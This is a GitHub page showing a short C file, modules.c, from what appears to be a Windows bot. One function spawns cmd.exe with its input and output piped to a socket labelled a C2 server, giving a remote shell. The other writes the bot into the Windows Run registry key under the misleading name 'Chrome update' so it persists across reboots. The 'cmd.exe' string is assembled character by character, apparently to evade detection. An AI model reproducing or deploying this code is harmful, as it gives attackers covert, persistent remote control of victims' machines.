-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathmodules.c
59 lines (43 loc) · 1.69 KB
/
modules.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include "modules.h"
/* spawn a shell with the cmd process and pipe stdin, out, and err to the socket */
int spawn_shell(HANDLE sock_pipe)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
char process[8]= {'c','m','d','.','e','x','e','\0'};
int result= 0;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
/* send stdin, stdout, and stderr of the
created process to the socket connection (C2Server) */
si.hStdInput= si.hStdOutput= si.hStdError= sock_pipe;
ZeroMemory(&pi, sizeof(pi));
/* create the shell */
if (!(CreateProcess(NULL, process, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)))
result= 1;
/* wait for the process to end, then close the handles */
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return result;
}
/* open and set a registry runkey for persistance. first attempts the admin path,
then the user path if insufficient perms. */
int regkey_persist(char *bot_path)
{
char *admin_key= "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char *user_key= "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char *key_name= "Chrome update";
HKEY hkey;
LSTATUS status;
status= RegOpenKeyEx(HKEY_LOCAL_MACHINE, admin_key, 0, KEY_ALL_ACCESS, &hkey);
if (status == ERROR_SUCCESS) /* admin access */
RegSetValueEx(hkey, key_name, 0, REG_SZ, (LPBYTE)bot_path, MAX_PATH);
else { /* no admin access */
status= RegOpenKeyEx(HKEY_CURRENT_USER, user_key, 0, KEY_ALL_ACCESS, &hkey);
RegSetValueEx(hkey, key_name, 0, REG_SZ, (LPBYTE)bot_path, MAX_PATH);
}
return (status == ERROR_SUCCESS) ? 0 : 1;
}